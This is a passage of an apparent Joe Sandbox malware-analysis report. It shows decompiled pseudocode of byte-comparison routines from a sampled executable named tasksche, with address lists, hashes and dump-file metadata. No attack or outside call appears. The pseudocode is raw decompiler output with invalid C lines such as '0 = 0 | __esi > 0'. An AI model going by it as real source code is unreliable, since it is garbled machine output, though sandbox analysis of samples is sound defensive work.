					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0041bcd9
0x0041bcd9
0x0041bcdf
0x0041bd5f
0x0041bd61
0x0041bd63
0x00000000
0x00000000
0x0041bd69
0x0041bd6f
0x0041bdee
0x0041bdf0
0x0041bdf2
0x00000000
0x00000000
0x0041bdf8
0x0041bdfe
0x0041be7d
0x0041be7f
0x0041be81
0x00000000
0x00000000
0x0041be87
0x0041be8d
0x0041bf0c
0x0041bf0e
0x0041bf10
0x00000000
0x00000000
0x0041bf1c
0x0041bf9c
0x0041bf9e
0x0041bfa0
0x00000000
0x00000000
0x0041bfa6
0x0041bfac
0x0041c02b
0x0041c02d
0x0041c02f
0x00000000
0x00000000
0x0041c035
0x0041c03b
0x0041c0ba
0x0041c0bc
0x0041c0be
0x00000000
0x00000000
0x0041c0cc
0x0041c0ce
0x0041bcb1
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcc8
0x0041bcce
0x0041c0e7
0x0041c0e7
0x00000000
0x0041bcd4
0x00000000
0x0041bcd4
0x0041bcce
0x0041c0db
0x0041c0e1
0x00000000
0x00000000
0x00000000
0x0041c0e1
0x0041c044
0x0041c046
0x0041c05d
0x0041c065
0x0041c067
0x0041c07e
0x0041c086
0x0041c088
0x0041c09f
0x0041c0a7
0x0041c0a9
0x0041c0b6
0x0041c0b6
0x00000000
0x0041c0a9
0x0041c095
0x0041c099
0x00000000
0x00000000
0x00000000
0x0041c099
0x0041c074
0x0041c078
0x00000000
0x00000000
0x00000000
0x0041c078
0x0041c053
0x0041c057
0x00000000
0x00000000
0x00000000
0x0041c057
0x0041bfb5
0x0041bfb7
0x0041bfce
0x0041bfd6
0x0041bfd8
0x0041bfef
0x0041bff7
0x0041bff9
0x0041c010
0x0041c018
0x0041c01a
0x0041c027
0x0041c027
0x00000000
0x0041c01a
0x0041c006
0x0041c00a
0x00000000
0x00000000
0x00000000
0x0041c00a
0x0041bfe5
0x0041bfe9
0x00000000
0x00000000
0x00000000
0x0041bfe9
0x0041bfc4
0x0041bfc8
0x00000000
0x00000000
0x00000000
0x0041bfc8
0x0041bf26
0x0041bf28
0x0041bf3f
0x0041bf47
0x0041bf49
0x0041bf60
0x0041bf68
0x0041bf6a
0x0041bf81
0x0041bf89
0x0041bf8b
0x0041bf98
0x0041bf98
0x00000000
0x0041bf8b
0x0041bf77
0x0041bf7b
0x00000000
0x00000000
0x00000000
0x0041bf7b
0x0041bf56
0x0041bf5a
0x00000000
0x00000000
0x00000000
0x0041bf5a
0x0041bf35
0x0041bf39
0x00000000
0x00000000
0x00000000
0x0041bf39
0x0041be96
0x0041be98
0x0041beaf
0x0041beb7
0x0041beb9
0x0041bed0
0x0041bed8
0x0041beda
0x0041bef1
0x0041bef9
0x0041befb
0x0041bf08
0x0041bf08
0x00000000
0x0041befb
0x0041bee7
0x0041beeb
0x00000000
0x00000000
0x00000000
0x0041beeb
0x0041bec6
0x0041beca
0x00000000
0x00000000
0x00000000
0x0041beca
0x0041bea5
0x0041bea9
0x00000000
0x00000000
0x00000000
0x0041bea9
0x0041be07
0x0041be09
0x0041be20
0x0041be28
0x0041be2a
0x0041be41
0x0041be49
0x0041be4b
0x0041be62
0x0041be6a
0x0041be6c
0x0041be79
0x0041be79
0x00000000
0x0041be6c
0x0041be58
0x0041be5c
0x00000000
0x00000000
0x00000000
0x0041be5c
0x0041be37
0x0041be3b
0x00000000
0x00000000
0x00000000
0x0041be3b
0x0041be16
0x0041be1a
0x00000000
0x00000000
0x00000000
0x0041be1a
0x0041bd78
0x0041bd7a
0x0041bd91
0x0041bd99
0x0041bd9b
0x0041bdb2
0x0041bdba
0x0041bdbc
0x0041bdd3
0x0041bddb
0x0041bddd
0x0041bdea
0x0041bdea
0x00000000
0x0041bddd
0x0041bdc9
0x0041bdcd
0x00000000
0x00000000
0x00000000
0x0041bdcd
0x0041bda8
0x0041bdac
0x00000000
0x00000000
0x00000000
0x0041bdac
0x0041bd87
0x0041bd8b
0x00000000
0x00000000
0x00000000
0x0041bce1
0x0041bce1
0x0041bce5
0x0041bce9
0x0041bceb
0x0041bd02
0x0041bd02
0x0041bd06
0x0041bd0a
0x0041bd0c
0x0041bd23
0x0041bd23
0x0041bd27
0x0041bd2b
0x0041bd2d
0x0041bd44
0x0041bd44
0x0041bd48
0x0041bd4c
0x0041bd4e
0x0041bd54
0x0041bd57
0x0041bd5b
0x0041bd5b
0x00000000
0x0041bd4e
0x0041bd33
0x0041bd36
0x0041bd3a
0x0041bd3e
0x00000000
0x00000000
0x00000000
0x0041bd3e
0x0041bd12
0x0041bd15
0x0041bd19
0x0041bd1d
0x00000000
0x00000000
0x00000000
0x0041bd1d
0x0041bcf1
0x0041bcf4
0x0041bcf8
0x0041bcfc
0x00000000
0x00000000
0x00000000
0x0041bcfc
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: fa64fecedd4ee0fbc6ebc6d5fd45eff142ec883d8ec5514f9c97111b8272a84e
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 93D18E73C0E9B34A8735812D84582BBEE62AFD175031EC3E2DCE42F389D62B5D9196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8B9 Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B8B9(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0041b8b9
0x0041b8b9
0x0041b8bf
0x0041b93e
0x0041b940
0x0041b942
0x00000000
0x00000000
0x0041b948
0x0041b94e
0x0041b9cd
0x0041b9cf
0x0041b9d1
0x00000000
0x00000000
0x0041b9d7
0x0041b9dd
0x0041ba5c
0x0041ba5e
0x0041ba60
0x00000000
0x00000000
0x0041ba66
0x0041ba6c
0x0041baeb
0x0041baed
0x0041baef
0x00000000
0x00000000
0x0041baf5
0x0041bafb
0x0041bb7a
0x0041bb7c
0x0041bb7e
0x00000000
0x00000000
0x0041bb8a
0x0041bc0a
0x0041bc0c
0x0041bc0e
0x00000000
0x00000000
0x0041bc14
0x0041bc1a
0x0041bc99
0x0041bc9b
0x0041bc9d
0x00000000
0x00000000
0x0041bcab
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x00000000
0x0041b8a1
0x0041bcc8
0x0041bcce
0x0041c0e7
0x00000000
0x0041c0e7
0x00000000
0x0041bcd4
0x0041bc23
0x0041bc25
0x0041bc3c
0x0041bc44
0x0041bc46
0x0041bc5d
0x0041bc65
0x0041bc67
0x0041bc7e
0x0041bc86
0x0041bc88
0x0041bc95
0x0041bc95
0x00000000
0x0041bc88
0x0041bc74
0x0041bc78
0x00000000
0x00000000
0x00000000
0x0041bc78
0x0041bc53
0x0041bc57
0x00000000
0x00000000
0x00000000
0x0041bc57
0x0041bc32
0x0041bc36
0x00000000
0x00000000
0x00000000
0x0041bc36
0x0041bb94
0x0041bb96
0x0041bbad
0x0041bbb5
0x0041bbb7
0x0041bbce
0x0041bbd6
0x0041bbd8
0x0041bbef
0x0041bbf7
0x0041bbf9
0x0041bc06
0x0041bc06
0x00000000
0x0041bbf9
0x0041bbe5
0x0041bbe9
0x00000000
0x00000000
0x00000000
0x0041bbe9
0x0041bbc4
0x0041bbc8
0x00000000
0x00000000
0x00000000
0x0041bbc8
0x0041bba3
0x0041bba7
0x00000000
0x00000000
0x00000000
0x0041bba7
0x0041bb04
0x0041bb06
0x0041bb1d
0x0041bb25
0x0041bb27
0x0041bb3e
0x0041bb46
0x0041bb48
0x0041bb5f
0x0041bb67
0x0041bb69
0x0041bb76
0x0041bb76
0x00000000
0x0041bb69
0x0041bb55
0x0041bb59
0x00000000
0x00000000
0x00000000
0x0041bb59
0x0041bb34
0x0041bb38
0x00000000
0x00000000
0x00000000
0x0041bb38
0x0041bb13
0x0041bb17
0x00000000
0x00000000
0x00000000
0x0041bb17
0x0041ba75
0x0041ba77
0x0041ba8e
0x0041ba96
0x0041ba98
0x0041baaf
0x0041bab7
0x0041bab9
0x0041bad0
0x0041bad8
0x0041bada
0x0041bae7
0x0041bae7
0x00000000
0x0041bada
0x0041bac6
0x0041baca
0x00000000
0x00000000
0x00000000
0x0041baca
0x0041baa5
0x0041baa9
0x00000000
0x00000000
0x00000000
0x0041baa9
0x0041ba84
0x0041ba88
0x00000000
0x00000000
0x00000000
0x0041ba88
0x0041b9e6
0x0041b9e8
0x0041b9ff
0x0041ba07
0x0041ba09
0x0041ba20
0x0041ba28
0x0041ba2a
0x0041ba41
0x0041ba49
0x0041ba4b
0x0041ba58
0x0041ba58
0x00000000
0x0041ba4b
0x0041ba37
0x0041ba3b
0x00000000
0x00000000
0x00000000
0x0041ba3b
0x0041ba16
0x0041ba1a
0x00000000
0x00000000
0x00000000
0x0041ba1a
0x0041b9f5
0x0041b9f9
0x00000000
0x00000000
0x00000000
0x0041b9f9
0x0041b957
0x0041b959
0x0041b970
0x0041b978
0x0041b97a
0x0041b991
0x0041b999
0x0041b99b
0x0041b9b2
0x0041b9ba
0x0041b9bc
0x0041b9c9
0x0041b9c9
0x00000000
0x0041b9bc
0x0041b9a8
0x0041b9ac
0x00000000
0x00000000
0x00000000
0x0041b9ac
0x0041b987
0x0041b98b
0x00000000
0x00000000
0x00000000
0x0041b98b
0x0041b966
0x0041b96a
0x00000000
0x00000000
0x00000000
0x0041b8c1
0x0041b8c1
0x0041b8c4
0x0041b8c8
0x0041b8ca
0x0041b8e1
0x0041b8e1
0x0041b8e5
0x0041b8e9
0x0041b8eb
0x0041b902
0x0041b902
0x0041b906
0x0041b90a
0x0041b90c
0x0041b923
0x0041b923
0x0041b927
0x0041b92b
0x0041b92d
0x0041b933
0x0041b936
0x0041b93a
0x0041b93a
0x00000000
0x0041b92d
0x0041b912
0x0041b915
0x0041b919
0x0041b91d
0x00000000
0x00000000
0x00000000
0x0041b91d
0x0041b8f1
0x0041b8f4
0x0041b8f8
0x0041b8fc
0x00000000
0x00000000
0x00000000
0x0041b8fc
0x0041b8d0
0x0041b8d3
0x0041b8d7
0x0041b8db
0x00000000
0x00000000
0x00000000
0x0041b8db
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 1a9104bdc18b99a6bc3a57d880f0b00b8efb4b2948f4f82757f4a36a4691901f
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 8DD18E73D1E9B30A8735812D80682ABEE62AFD175031EC3E2DCE42F389D72B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4AD Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B4AD(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
